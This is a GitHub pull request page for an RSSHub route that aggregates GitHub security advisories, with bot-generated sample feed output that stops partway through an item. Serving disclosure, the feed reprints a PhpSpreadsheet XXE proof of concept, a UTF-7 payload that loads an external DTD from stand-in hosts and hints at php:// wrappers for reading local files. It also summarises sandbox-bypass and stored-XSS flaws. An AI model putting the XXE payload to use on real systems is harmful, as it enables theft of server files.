Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

feat(github): 添加 GitHub Advisory Database RSS 路由 #16745

Merged
merged 8 commits into from
Oct 6, 2024
Merged

feat(github): 添加 GitHub Advisory Database RSS 路由 #16745

merged 8 commits into from
Oct 6, 2024

Conversation

sd0ric4
Copy link
Contributor

@sd0ric4 sd0ric4 commented Sep 13, 2024 •
edited
Loading

Involved Issue / 该 PR 相关 Issue

无

Example for the Proposed Route(s) / 路由地址示例

/github/advisor/data/reviewed/composer
/github/advisor/data/reviewed/go
/github/advisor/data/reviewed/maven
/github/advisor/data/reviewed/npm
/github/advisor/data/reviewed/nuget
/github/advisor/data/reviewed/pip
/github/advisor/data/reviewed/pub
/github/advisor/data/reviewed/rubygems
/github/advisor/data/reviewed/rust
/github/advisor/data/reviewed/erlang
/github/advisor/data/reviewed/actions
/github/advisor/data/reviewed/swift

New RSS Route Checklist / 新 RSS 路由检查表

  • New Route / 新的路由
  • Follows Script Standard / 跟随 路由规范
  • Documentation / 文档说明
  • Full text / 全文获取
  • Use cache / 使用缓存
  • Anti-bot or rate limit / 反爬/频率限制
  • If yes, do your code reflect this sign? / 如果有, 是否有对应的措施?
  • Date and time / 日期和时间
  • Parsed / 可以解析
  • Correct time zone / 时区正确
  • New package added / 添加了新的包
  • Puppeteer

Note / 说明

为github.com/advisories添加rsshub的订阅

@github-actions github-actions bot added the Route label Sep 13, 2024
@sd0ric4 sd0ric4 changed the title feat(github-advisor): add GitHub Advisory Database RSS route and name… feat(github-advisor): 添加 GitHub Advisory Database RSS 路由和命名空间 Sep 13, 2024
@github-actions github-actions bot added the Auto: Route Test Complete Auto route test has finished on given PR label Sep 13, 2024
@github-actions GitHub Actions
Copy link
Contributor

Successfully generated as following:

http://localhost:1200/github-advisor/data - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - composer</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - composer - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:19:16 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[damienharper/auditor-bundle] auditor-bundle vulnerable to Cross-site Scripting because name of entity does not get escaped</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unescaped entity property enables Javascript injection.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;I think this is possible because %source_label% in twig macro is not escaped. Therefore script tags can be inserted and are executed.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;clone example project &lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle-demo&quot;&gt;https://github.com/DamienHarper/auditor-bundle-demo&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;create author with FullName &lt;/li&gt;
        &lt;li&gt;delete author&lt;/li&gt;
        &lt;li&gt;view audit of authors&lt;/li&gt;
        &lt;li&gt;alert is displayed&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;persistent XSS. JS can be injected and executed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&quot;&gt;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-78vg-7v27-hj67</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-78vg-7v27-hj67</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[topthink/framework] ThinkPHP deserialization vulnerability</title>
      <description>&lt;p&gt;A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/fru1ts/CVE-2024-44902&quot;&gt;https://github.com/fru1ts/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;http://thinkphp.com/&quot;&gt;http://thinkphp.com&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f4wh-359g-4pq7&quot;&gt;https://github.com/advisories/GHSA-f4wh-359g-4pq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f4wh-359g-4pq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f4wh-359g-4pq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[craftcms/cms] Craft CMS vulnerable to stored XSS in breadcrumb list and title fields</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Multiple Stored XSS can be triggered by the breadcrumb list and title fields with user input.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
